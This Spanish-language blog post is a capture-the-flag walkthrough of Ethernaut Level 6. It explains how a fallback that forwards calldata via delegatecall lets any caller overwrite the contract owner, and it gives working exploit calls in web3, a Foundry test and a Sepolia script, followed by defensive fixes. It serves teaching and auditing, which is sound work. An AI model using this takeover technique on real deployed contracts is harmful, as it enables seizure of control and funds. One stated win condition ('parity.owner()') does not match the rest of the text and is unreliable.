← Volver al blog
Mike B. - SecLat Security8 de septiembre de 2026

Ethernaut Level 6 Walkthrough: Explotando delegatecall Inseguro en Solidity

En este artículo, analizamos y resolvemos Ethernaut Level 6: Delegation.

Este nivel parece casi demasiado simple: una función fallback reenvía toda llamada no reconocida a otro contrato usando delegatecall. Esa sola línea basta para que cualquiera reescriba la variable owner del contrato sin llamar nunca directamente a una función que la toque.

Además de resolver el reto, cubrimos:

  • Qué hace realmente delegatecall con el storage, el msg.sender y el contexto de ejecución
  • Por qué una función fallback que reenvía msg.data a ciegas es un arma cargada
  • Cómo validar el exploit con Foundry
  • Cómo defendernos de una delegación insegura con selectores de función explícitos y disciplina en el layout de storage

Descripción del Reto

El contrato Delegation guarda una referencia a un contrato Delegate. Su función fallback reenvía cualquier llamada que no reconoce a Delegate usando delegatecall. Delegate expone una sola función, pwn(), que fija su propio owner como msg.sender.

El objetivo del reto es:

El objetivo de este nivel es que reclames la propiedad de la instancia que se te asigna.

Clasificación de la Vulnerabilidad

CategoríaValor
Vulnerabilidad:delegatecall inseguro en una función fallback
Causa Raíz:El fallback reenvía msg.data arbitrario a un destino no confiable con delegatecall, ejecutando lógica ajena en el propio contexto de storage del que llama
Impacto:Cualquier cuenta externa puede sobrescribir el slot owner del contrato
Severidad:Crítica
Tipo de Ataque:Colisión de storage vía delegatecall de bajo nivel

Análisis del Contrato Vulnerable

Este es el contrato vulnerable usado en el reto:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {
    address public owner;

    constructor(address _owner) {
        owner = _owner;
    }

    function pwn() public {
        owner = msg.sender;
    }
}

contract Delegation {
    address public owner;
    Delegate delegate;

    constructor(address _delegateAddress) {
        delegate = Delegate(_delegateAddress);
        owner = msg.sender;
    }

    fallback() external {
        (bool result,) = address(delegate).delegatecall(msg.data);
        if (result) {
            this;
        }
    }
}

Causa Raíz de la Vulnerabilidad

Toda la vulnerabilidad vive en la función fallback:

fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
        this;
    }
}

delegatecall no es una llamada externa cualquiera. Cuando el contrato A llama al contrato B con delegatecall, el código de B se ejecuta, pero como si fuera código propio de A: lee y escribe el storage de A, ve el msg.sender y el msg.value de A, y lo único que B aporta es su bytecode.

Delegation y Delegate declaran ambos address public owner como su primera variable de estado, así que los dos la asignan al slot de storage 0. Eso es lo que hace trivial el ataque: cuando Delegate.pwn() se ejecuta dentro del storage de Delegation vía delegatecall, la línea owner = msg.sender no toca el owner propio de Delegate. Sobrescribe el slot 0 de Delegation, que es Delegation.owner.

El fallback hace esto alcanzable desde afuera porque reenvía msg.data tal cual, sin verificar qué selector de función se está llamando. Cualquier llamada a una función no definida en Delegation, incluida una que codifique pwn(), se reenvía directo a la lógica de Delegate.

Esto viola un principio de seguridad central en el diseño de contratos inteligentes:

Nunca hagas delegatecall hacia un destino usando calldata controlado por el atacante, salvo que el layout de storage de ambos contratos esté deliberadamente alineado y el conjunto de funciones invocables esté explícitamente restringido.

Entendiendo delegatecall Inseguro

  1. Quien llama (en este caso, nuestra cuenta de jugador) envía una transacción a Delegation con calldata igual al selector de 4 bytes de pwn().
  2. Delegation no tiene ninguna función que coincida con ese selector, así que Solidity enruta la ejecución a fallback().
  3. fallback() ejecuta address(delegate).delegatecall(msg.data), reenviando exactamente el mismo calldata a Delegate.
  4. Delegate encuentra una función que coincide, pwn(), y la ejecuta.
  5. Como esto es un delegatecall, el contexto de ejecución sigue siendo Delegation: el msg.sender dentro de pwn() es nuestra cuenta de jugador, y owner = msg.sender escribe en el slot 0 de Delegation.
  6. Delegation.owner ahora es nuestra cuenta de jugador. Delegate.owner nunca fue tocado.
Jugador (EOA)
   |
   | llamada: selector de pwn()
   v
Delegation.fallback()
   |
   | delegatecall (mismo storage, mismo msg.sender)
   v
Delegate.pwn()
   |
   | owner = msg.sender  -> escribe en el slot 0 de Delegation
   v
Delegation.owner = Jugador

Esta es la misma clase de bug detrás del congelamiento de la multisig de Parity en 2017, donde un contrato de librería exponía una función de inicialización alcanzable vía delegatecall desde una wallet proxy, y más tarde detrás de su segundo incidente, donde cualquiera podía llamar kill() en la librería compartida por el mismo mecanismo y autodestruirla, dejando inutilizadas todas las wallets que delegaban en ella.

¿Por Qué delegatecall es Peligroso?

delegatecall es una primitiva legítima y ampliamente usada. Es lo que hace posibles los patrones proxy, los patrones diamond y las librerías compartidas, así que el objetivo no es evitarla, sino usarla con deliberación:

  • El layout de storage debe coincidir exactamente. Si el contrato que llama y el contrato delegado no declaran sus variables de estado en el mismo orden y con los mismos tipos, delegatecall corromperá el storage en silencio, exactamente como ocurre aquí.
  • Nunca reenvíes msg.data crudo y sin restricciones. Un fallback que reenvía cualquier cosa que recibe convierte a toda función del contrato destino en una función invocable en el proxy, sea o no intencional.
  • El contrato delegado debe ser confiable e inmutable, o su actualización debe estar controlada. Si la dirección del destino puede cambiarla un atacante, o si el contrato destino en sí puede ser actualizado, quien llama hereda la lógica que termine ahí.
  • Prefiere estándares de proxy bien auditados. Patrones como TransparentUpgradeableProxy de OpenZeppelin o UUPS existen específicamente para gestionar el layout de storage y el enrutamiento de selectores de forma segura; armar un delegado basado en fallback a mano, como hace este nivel, es lo que introduce el bug.

Estrategia del Ataque

Lo que sabemos:

  1. Delegation.fallback() reenvía cualquier llamada no reconocida a Delegate vía delegatecall.
  2. Delegate.pwn() fija owner = msg.sender en el contexto de storage en el que se ejecute.
  3. Delegation y Delegate comparten el mismo slot de storage 0 para owner, ya que ambos lo declaran como su primera variable de estado.
  4. delegatecall preserva el msg.sender, así que llamar a través del fallback de Delegation mantiene nuestra propia dirección como remitente dentro de la lógica de Delegate.

Nuestra estrategia:

  1. Codificar el selector de función para pwn().
  2. Enviar ese calldata directamente a la instancia de Delegation desde nuestra propia cuenta. Ninguna función de Delegation coincide con él, así que cae en fallback().
  3. fallback() lo reenvía a Delegate vía delegatecall, ejecutando pwn() dentro del storage de Delegation.
  4. Delegation.owner ahora es nuestra dirección. No se necesita ningún contrato atacante.

Solución

Este nivel no requiere desplegar un contrato atacante. Una sola llamada de bajo nivel desde nuestra propia cuenta externa (EOA) basta, porque lo único que importa es qué calldata llega a Delegation y quién es quien llama, y ambas cosas ya son exactamente lo que necesitamos desde una EOA.

Desde la consola del navegador, conectada a la instancia de Ethernaut:

await web3.eth.sendTransaction({
  from: player,
  to: contract.address,
  data: web3.eth.abi.encodeFunctionSignature("pwn()")
});

await contract.owner();

La misma llamada desde un script o test de Foundry, codificando el selector con abi.encodeWithSignature:

(bool success, ) = address(instance).call(abi.encodeWithSignature("pwn()"));
require(success, "call not successful");

Cómo Funciona el Exploit

Primero, construimos el calldata para pwn(). Solidity calcula el selector de 4 bytes de una función como los primeros cuatro bytes de keccak256("pwn()"). abi.encodeWithSignature("pwn()") hace exactamente eso, sin argumentos que agregar porque pwn() no recibe ninguno.

Luego, enviamos ese calldata directamente a la instancia de Delegation, ya sea como un call crudo desde un test o script, o como una transacción manual desde la consola del navegador. Delegation no tiene ninguna función llamada pwn, así que el dispatcher de Solidity no puede hacer coincidir ningún selector y cae en fallback().

A continuación, fallback() ejecuta delegatecall contra la dirección delegate almacenada, reenviando nuestro calldata sin modificar. Delegate sí tiene una función pwn(), así que su dispatcher la hace coincidir y ejecuta el cuerpo de la función: owner = msg.sender.

Como toda la cadena de llamadas después de nuestra transacción es un solo delegatecall, la ejecución nunca sale del contexto de storage de Delegation. El msg.sender dentro de pwn() sigue siendo nuestra cuenta de jugador, y la variable de estado que realmente se escribe es el owner de Delegation en el slot 0, no el de Delegate.

Finalmente, leemos Delegation.owner() de vuelta y confirmamos que ahora es igual a nuestra propia dirección. La condición de victoria del nivel, parity.owner() == _player, queda satisfecha.

Validando el Exploit con Foundry

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import {Utils} from "test/utils/Utils.sol";
import {Delegation} from "src/levels/Delegation.sol";
import {DelegationFactory} from "src/levels/DelegationFactory.sol";
import {Level} from "src/levels/base/Level.sol";
import {Ethernaut} from "src/Ethernaut.sol";

contract TestDelegation_L6 is Test, Utils {
    Ethernaut ethernaut;
    Delegation instance;

    address payable owner;
    address payable player;

    function setUp() public {
        address payable[] memory users = createUsers(2);

        owner = users[0];
        vm.label(owner, "Owner");

        player = users[1];
        vm.label(player, "Player");

        vm.startPrank(owner);
        ethernaut = getEthernautWithStatsProxy(owner);
        DelegationFactory factory = new DelegationFactory();
        ethernaut.registerLevel(Level(address(factory)));
        vm.stopPrank();

        vm.startPrank(player);
        instance = Delegation(createLevelInstance(ethernaut, Level(address(factory)), 0));
        vm.stopPrank();
    }

    function testInit() public {
        vm.prank(player);
        assertFalse(submitLevelInstance(ethernaut, address(instance)));
    }

    function testSolve() public {
        vm.startPrank(player);

        // No se necesita contrato atacante. Una llamada directa a cualquier
        // función no definida dispara el fallback de Delegation, que hace
        // delegatecall hacia pwn() de Delegate. delegatecall preserva el
        // storage y el msg.sender de Delegation, así que owner se sobreescribe
        // en su propio slot.
        (bool success,) = address(instance).call(abi.encodeWithSignature("pwn()"));
        require(success, "call not successful");

        assertEq(instance.owner(), player);
        assertTrue(submitLevelInstance(ethernaut, address(instance)));

        vm.stopPrank();
    }
}

Ejecutando el Test

source .env
forge test --match-path test/Solutions/Delegation_L6.t.sol --match-test testSolve --fork-url $SEPOLIA_RPC -vvv

Asegúrate de que .env defina SEPOLIA_RPC y, para el script en vivo de abajo, PK. Nunca subas .env a control de versiones.

Resolviendo el Nivel en Sepolia

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Script} from "forge-std/Script.sol";
import {Delegation} from "src/levels/Delegation.sol";
import {console} from "forge-std/console.sol";

contract DelegationScript is Script {
    Delegation public target;

    function setUp() public {
        target = Delegation(payable("0xYourEthernautInstance"));
    }

    function run() public {
        uint256 pk = vm.envUint("PK"); // Private Key desde .env para firmar la Tx
        vm.startBroadcast(pk);

        // Sin contrato atacante. Una llamada directa con el selector de
        // pwn() cae en el fallback de Delegation, que hace delegatecall
        // hacia Delegate y sobreescribe owner en el storage de Delegation.
        (bool ok,) = address(target).call(abi.encodeWithSignature("pwn()"));
        require(ok, "pwn call failed");

        console.log("Nuevo owner:", target.owner());

        vm.stopBroadcast();
    }
}

Ejecutando el Script

source .env
forge script scripts/Delegation.s.sol --rpc-url $SEPOLIA_RPC

Una vez que el dry run compile sin errores y hayas reemplazado 0xYourEthernautInstance con la dirección real de tu instancia, transmítelo:

forge script scripts/Delegation.s.sol --rpc-url $SEPOLIA_RPC --broadcast --interactives 1 -vvv

Cómo Prevenir delegatecall Inseguro

El patrón vulnerable es un fallback que reenvía msg.data a ciegas:

// Vulnerable: cualquier calldata, cualquier selector, reenviado sin condición
fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
        this;
    }
}

La corrección es no dejar nunca que el calldata externo elija la función delegada por ti. Si la delegación es genuinamente necesaria, restríngela a selectores específicos en whitelist y mantén el layout de storage idéntico y documentado en ambos lados:

// Corregido: delegación explícita y en whitelist
function delegatedPwn() external {
    require(msg.sig == Delegate.pwn.selector, "selector no permitido");
    (bool result,) = address(delegate).delegatecall(msg.data);
    require(result, "delegatecall fallo");
}

Para patrones de proxy en producción, no armes esto a mano. Usa TransparentUpgradeableProxy de OpenZeppelin o un proxy UUPS, que fuerzan un layout de storage consistente a través del estándar de slots ERC-1967 y separan la lógica de administración de la lógica delegada por construcción.

Lecciones Aprendidas

  • delegatecall ejecuta código ajeno en tu propio contexto de storage. Trátalo con el mismo cuidado que darle a otro contrato acceso de escritura a tu estado.
  • Alinear el layout de storage entre un proxy y su implementación no es opcional. Un slot desalineado o compartido es un bug silencioso y crítico.
  • Una función fallback es un punto de entrada implícito. Si reenvía calldata a algún lado, audítala con el mismo rigor que cualquier función pública explícita.
  • msg.sender y msg.value se preservan a través de delegatecall, y por eso es tan poderoso para proxies y tan peligroso cuando se usa mal.
  • Prefiere estándares de proxy establecidos en lugar de lógica de delegación hecha a mano, siempre que el objetivo sea la actualizabilidad o la lógica compartida.

Conclusión

Ethernaut Level 6 enseña una de las lecciones más filosas en seguridad de Solidity: un solo delegatecall con calldata sin restricciones puede entregar el control total de un contrato, sin reentrancy, sin overflow y sin necesidad de ningún contrato atacante. Este no es un riesgo teórico. Es la misma causa raíz detrás de pérdidas reales en producción, la más famosa siendo los incidentes de la multisig de Parity.

Cualquier protocolo que use proxies, patrones diamond o librerías compartidas necesita tratar la alineación del layout de storage y la restricción de selectores como requisitos de seguridad de primer orden, no como detalles de implementación. Este walkthrough cubrió:

  • Cómo delegatecall comparte storage, msg.sender y contexto de ejecución con quien llama
  • Por qué una función fallback sin restricciones equivale a exponer todas las funciones del contrato delegado
  • Cómo explotarlo con una sola llamada directa, sin contrato atacante
  • Cómo validar el exploit con Foundry, localmente y sobre un fork de Sepolia
  • Cómo defenderse con verificaciones explícitas de selector y estándares de proxy auditados

Si estás construyendo o revisando contratos que usan delegatecall, proxies o patrones actualizables, esta es exactamente la clase de vulnerabilidad que buscamos en una auditoría profesional.


Lee más walkthroughs de Ethernaut en el blog de SECLAT.

¿Necesitas una auditoría de seguridad para tus smart contracts? Habla con SECLAT.

SECLAT - Security & Audit

SECLAT - Expertos en seguridad blockchain y auditorías de contratos inteligentes.

Estadísticas Clave

200+
Contratos Auditados
0
Incidentes Críticos
20+
Clientes Satisfechos
$100M+
Protegidos

Contactanos

Si buscas una auditoría de seguridad o una consulta, Contactanos.

© 2026 SECLAT Security. Todos los derechos reservados.